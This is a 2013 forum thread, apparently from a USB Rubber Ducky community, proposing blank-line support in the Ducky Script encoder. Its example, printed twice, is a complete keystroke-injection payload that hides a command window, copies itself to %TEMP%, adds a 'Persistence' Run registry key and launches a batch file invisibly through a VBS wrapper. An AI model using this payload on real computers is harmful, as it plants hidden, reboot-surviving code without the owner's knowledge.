[Suggestion] Possible improvement to duckscript (whitespace)

[overwraith]

It would be nice to be able to insert white space into duck script, so that commands could be grouped together, and would be easier to read. Here is an example. Just a suggestion to anyone who is doing the encoders. I'm thinking that the encoder could just throw away blank lines during processing.

Grouped:

REM By overwraith
REM GenericBatch.txt
REM Encoder V2.4
REM Target: WINDOWS VISTA/7 
REM ADMIN PRIVILEGES
REM PURPOSE: to create a script that types in a generic batch file and executes siletntly. 

REM Using the run command for a broader OS base. 
DELAY 3000
GUI R
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER

REM Make batch file. 
REM Delete batch file if already exists. 
STRING erase /Q batch.bat
ENTER
REM Make the batch file. 
STRING copy con batch.bat
ENTER
REM Copy current program to another location. 
STRING COPY %0 %TEMP%
ENTER
REM Registry key that restarts script on reboot. 
STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\batch.bat" /f
ENTER
REM Continue batch file contents here. . . 
CONTROL z
ENTER

REM Make the VBS file that allows running invisibly.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER 
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER

STRING wscript.exe invis.vbs batch.bat
ENTER
STRING EXIT
ENTER

Not Grouped:

REM By overwraith
REM GenericBatch.txt
REM Encoder V2.4
REM Target: WINDOWS VISTA/7 
REM ADMIN PRIVILEGES
REM PURPOSE: to create a script that types in a generic batch file and executes siletntly. 
REM Using the run command for a broader OS base. 
DELAY 3000
GUI R
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER
REM Make batch file. 
REM Delete batch file if already exists. 
STRING erase /Q batch.bat
ENTER
REM Make the batch file. 
STRING copy con batch.bat
ENTER
REM Copy current program to another location. 
STRING COPY %0 %TEMP%
ENTER
REM Registry key that restarts script on reboot. 
STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\batch.bat" /f
ENTER
REM Continue batch file contents here. . . 
CONTROL z
ENTER
REM Make the VBS file that allows running invisibly.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER 
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER
STRING wscript.exe invis.vbs batch.bat
ENTER
STRING EXIT
ENTER

Edited April 25, 2013 by overwraith

[ApacheTech Consultancy]

This is something I'm writing into the next version. I'm just waiting until after my exams to work on it fully.

[no42]

Done, on the v2 branch.

Version 2.6 should be available for download in the usual place.

[overwraith]

Awesome!